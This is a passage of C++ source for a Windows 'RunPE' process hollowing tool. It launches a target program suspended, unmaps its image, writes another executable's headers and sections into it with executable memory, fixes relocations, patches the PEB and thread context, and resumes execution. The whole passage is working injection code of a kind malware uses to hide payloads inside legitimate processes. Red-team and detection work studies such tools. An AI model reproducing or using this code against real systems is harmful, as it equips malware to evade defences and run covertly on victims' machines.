const auto lpImageDOSHeader = (PIMAGE_DOS_HEADER)lpImage;
const auto lpImageNTHeader64 = (PIMAGE_NT_HEADERS64)((uintptr_t)lpImageDOSHeader + lpImageDOSHeader->e_lfanew);
//umResult = UnmapSectionView(lpPI->hProcess, (LPVOID)lpImageNTHeader64->OptionalHeader.ImageBase);
umResult = UnmapSectionView(lpPI->hProcess, (LPVOID)remoteBase);
lpAllocAddress = VirtualAllocEx(lpPI->hProcess, (LPVOID)remoteBase, lpImageNTHeader64->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAllocAddress == nullptr)
{
printf("[-] An error has occurred when trying to allocate memory for the new image. Error: %d \n", GetLastError());
return FALSE;
}
printf("[+] Memory allocate at : 0x%p\n", (LPVOID)(uintptr_t)lpAllocAddress);
const DWORD64 DeltaImageBase = (DWORD64)lpAllocAddress - lpImageNTHeader64->OptionalHeader.ImageBase;
lpImageNTHeader64->OptionalHeader.ImageBase = (DWORD64)lpAllocAddress;
const BOOL bWriteHeaders = WriteProcessMemory(lpPI->hProcess, lpAllocAddress, lpImage, lpImageNTHeader64->OptionalHeader.SizeOfHeaders, nullptr);
if (!bWriteHeaders)
{
printf("[-] An error has occurred when trying to write the headers of the new image. Error: %d \n", GetLastError());
return FALSE;
}
printf("[+] Headers write at : 0x%p\n", lpAllocAddress);
const IMAGE_DATA_DIRECTORY ImageDataReloc = GetRelocAddress64(lpImage);
PIMAGE_SECTION_HEADER lpImageRelocSection = nullptr;
for (int i = 0; i < lpImageNTHeader64->FileHeader.NumberOfSections; i++)
{
const auto lpImageSectionHeader = (PIMAGE_SECTION_HEADER)((uintptr_t)lpImageNTHeader64 + 4 + sizeof(IMAGE_FILE_HEADER) + lpImageNTHeader64->FileHeader.SizeOfOptionalHeader + (i * sizeof(IMAGE_SECTION_HEADER)));
if (ImageDataReloc.VirtualAddress >= lpImageSectionHeader->VirtualAddress && ImageDataReloc.VirtualAddress < (lpImageSectionHeader->VirtualAddress + lpImageSectionHeader->Misc.VirtualSize))
lpImageRelocSection = lpImageSectionHeader;
const BOOL bWriteSection = WriteProcessMemory(lpPI->hProcess, (LPVOID)((UINT64)lpAllocAddress + lpImageSectionHeader->VirtualAddress), (LPVOID)((UINT64)lpImage + lpImageSectionHeader->PointerToRawData), lpImageSectionHeader->SizeOfRawData, nullptr);
if (!bWriteSection)
{
printf("[-] An error has occurred when trying to write the section : %s. Error %d \n", (LPSTR)lpImageSectionHeader->Name, GetLastError());
return FALSE;
}
printf("[+] Section %s write at : 0x%p.\n", (LPSTR)lpImageSectionHeader->Name, (LPVOID)((UINT64)lpAllocAddress + lpImageSectionHeader->VirtualAddress));
}
if (lpImageRelocSection == nullptr)
{
printf("[-] An error has occurred when trying to get the relocation section of the source image. Error %d \n", GetLastError());
return FALSE;
}
printf("[+] Relocation section : %s\n", (char*)lpImageRelocSection->Name);
DWORD RelocOffset = 0;
while (RelocOffset < ImageDataReloc.Size)
{
const auto lpImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD64)lpImage + lpImageRelocSection->PointerToRawData + RelocOffset);
RelocOffset += sizeof(IMAGE_BASE_RELOCATION);
const DWORD NumberOfEntries = (lpImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_ENTRY);
for (DWORD i = 0; i < NumberOfEntries; i++)
{
const auto lpImageRelocationEntry = (PIMAGE_RELOCATION_ENTRY)((DWORD64)lpImage + lpImageRelocSection->PointerToRawData + RelocOffset);
RelocOffset += sizeof(IMAGE_RELOCATION_ENTRY);
if (lpImageRelocationEntry->Type == 0)
continue;
const DWORD64 AddressLocation = (DWORD64)lpAllocAddress + lpImageBaseRelocation->VirtualAddress + lpImageRelocationEntry->Offset;
DWORD64 PatchedAddress = 0;
ReadProcessMemory(lpPI->hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), nullptr);
PatchedAddress += DeltaImageBase;
WriteProcessMemory(lpPI->hProcess, (LPVOID)AddressLocation, &PatchedAddress, sizeof(DWORD64), nullptr);
}
}
printf("[+] Relocations done.\n");
CONTEXT CTX = {};
CTX.ContextFlags = CONTEXT_FULL;
const BOOL bGetContext = GetThreadContext(lpPI->hThread, &CTX);
if (!bGetContext)
{
printf("[-] An error has occurred when trying to get the thread context. Error: %d \n", GetLastError());
return FALSE;
}
const BOOL bWritePEB = WriteProcessMemory(lpPI->hProcess, (LPVOID)(CTX.Rdx + 0x10), &lpImageNTHeader64->OptionalHeader.ImageBase, sizeof(DWORD64), nullptr);
if (!bWritePEB)
{
printf("[-] An error has occurred when trying to write the image base in the PEB. Error: %d \n", GetLastError());
return FALSE;
}
CTX.Rcx = (DWORD64)lpAllocAddress + lpImageNTHeader64->OptionalHeader.AddressOfEntryPoint;
const BOOL bSetContext = SetThreadContext(lpPI->hThread, &CTX);
if (!bSetContext)
{
printf("[-] An error has occurred when trying to set the thread context. Error: %d \n", GetLastError());
return FALSE;
}
ResumeThread(lpPI->hThread);
return TRUE;
}
int main(const int argc, char* argv[])
{
if (argc == 3)
{
lpSourceImage = argv[1];
lpTargetProcess = argv[2];
}
else
{
printf("[HELP] runpe.exe <pe_file> <target_process>\n");
return -1;
}
printf("[PROCESS HOLLOWING]\n");
const LPVOID hFileContent = GetFileContent(lpSourceImage);
if (hFileContent == nullptr)
return -1;
printf("[+] PE file content : 0x%p\n", (LPVOID)(uintptr_t)hFileContent);
const BOOL bPE = IsValidPE(hFileContent);
if (!bPE)
{
printf("[-] The PE file is not valid !\n");
if (hFileContent != nullptr)
HeapFree(GetProcessHeap(), 0, hFileContent);
return -1;
}
printf("[+] The PE file is valid.\n");
STARTUPINFOA SI;
PROCESS_INFORMATION PI;
ZeroMemory(&SI, sizeof(SI));
SI.cb = sizeof(SI);
ZeroMemory(&PI, sizeof(PI));
const BOOL bProcessCreation = CreateProcessA(lpTargetProcess, nullptr, nullptr, nullptr, TRUE, CREATE_SUSPENDED, nullptr, nullptr, &SI, &PI);
if (!bProcessCreation)
{
printf("[-] An error has occurred when trying to create the target process! Error: %d \n", GetLastError());
CleanAndExitProcess(&PI, hFileContent);
return -1;
}
BOOL bTarget32;
IsWow64Process(PI.hProcess, &bTarget32);
ProcessAddressInformation ProcessAddressInformation = { nullptr, nullptr };
if (bTarget32)
{
ProcessAddressInformation = GetProcessAddressInformation32(&PI);
if (ProcessAddressInformation.lpProcessImageBaseAddress == nullptr || ProcessAddressInformation.lpProcessPEBAddress == nullptr)
{
printf("[-] An error has occurred when trying to get the image base address of the target process! Error: %d \n", GetLastError());
CleanAndExitProcess(&PI, hFileContent);
return -1;
}
}
else
{
ProcessAddressInformation = GetProcessAddressInformation64(&PI);
if (ProcessAddressInformation.lpProcessImageBaseAddress == nullptr || ProcessAddressInformation.lpProcessPEBAddress == nullptr)
{
printf("[-] An error has occurred when trying to get the image base address of the target process! Error: %d \n", GetLastError());
CleanAndExitProcess(&PI, hFileContent);
return -1;
}
}
printf("[+] Target Process PEB : 0x%p\n", ProcessAddressInformation.lpProcessPEBAddress);
printf("[+] Target Process Image Base : 0x%p\n", ProcessAddressInformation.lpProcessImageBaseAddress);
const BOOL bSource32 = IsPE32(hFileContent);
if (bSource32)
printf("[+] Source PE Image architecture : x86\n");
else
printf("[+] Source PE Image architecture : x64\n");
if (bTarget32)
printf("[+] Target PE Image architecture : x86\n");
else
printf("[+] Target PE Image architecture : x64\n");
if (bSource32 && bTarget32 || !bSource32 && !bTarget32)
printf("[+] Architecture are compatible !\n");
else
{
printf("[-] Architecture are not compatible !\n");
return -1;
}
DWORD dwSourceSubsystem;
if (bSource32)
dwSourceSubsystem = GetSubsytem32(hFileContent);
else
dwSourceSubsystem = GetSubsytem64(hFileContent);
if (dwSourceSubsystem == (DWORD)-1)
{
printf("[-] An error has occurred when trying to get the subsytem of the source image. Error: \n", GetLastError());
CleanAndExitProcess(&PI, hFileContent);
return -1;
}
printf("[+] Source Image subsystem : 0x%X\n", (UINT)dwSourceSubsystem);
DWORD dwTargetSubsystem;
if (bTarget32)
dwTargetSubsystem = GetSubsystemEx32(PI.hProcess, ProcessAddressInformation.lpProcessImageBaseAddress);
else
dwTargetSubsystem = GetSubsystemEx64(PI.hProcess, ProcessAddressInformation.lpProcessImageBaseAddress);
if (dwTargetSubsystem == (DWORD)-1)
{
printf("[-] An error has occurred when trying to get the subsytem of the target process. Error: \n", GetLastError());
CleanAndExitProcess(&PI, hFileContent);
return -1;
}
printf("[+] Target Process subsystem : 0x%X\n", (UINT)dwTargetSubsystem);
if (dwSourceSubsystem == dwTargetSubsystem)
printf("[+] Subsytems are compatible.\n");
else
{
printf("[-] Subsytems are not compatible. Error: %d \n", GetLastError());
CleanAndExitProcess(&PI, hFileContent);
return -1;
}
BOOL bHasReloc;
if (bSource32)
bHasReloc = HasRelocation32(hFileContent);
else
bHasReloc = HasRelocation64(hFileContent);
if (!bHasReloc)
printf("[+] The source image doesn't have a relocation table.\n");
else
printf("[+] The source image has a relocation table.\n");
if (bSource32 && !bHasReloc)
{
if (RunPE32(&PI, hFileContent))
{
printf("[+] The injection has succeed !\n");
CleanProcess(&PI, hFileContent);
return 0;
}
}
if (bSource32 && bHasReloc)
{
if (RunPEReloc32(&PI, hFileContent))
{
printf("[+] The injection has succeed !\n");
CleanProcess(&PI, hFileContent);
return 0;
}
}
if (!bSource32 && !bHasReloc)
{
if (RunPE64(&PI, hFileContent, ProcessAddressInformation.lpProcessImageBaseAddress))
{
printf("[+] The injection has succeed !\n");
CleanProcess(&PI, hFileContent);
return 0;
}
}
if (!bSource32 && bHasReloc)
{
if (RunPEReloc64(&PI, hFileContent, ProcessAddressInformation.lpProcessImageBaseAddress))
{
printf("[+] The injection has succeed !\n");
CleanProcess(&PI, hFileContent);
return 0;
}
}
printf("[-] The injection has failed !\n");
if (hFileContent != nullptr)
HeapFree(GetProcessHeap(), 0, hFileContent);
if (PI.hThread != nullptr)
CloseHandle(PI.hThread);
if (PI.hProcess != nullptr)
{
TerminateProcess(PI.hProcess, -1);
CloseHandle(PI.hProcess);
}
return -1;
}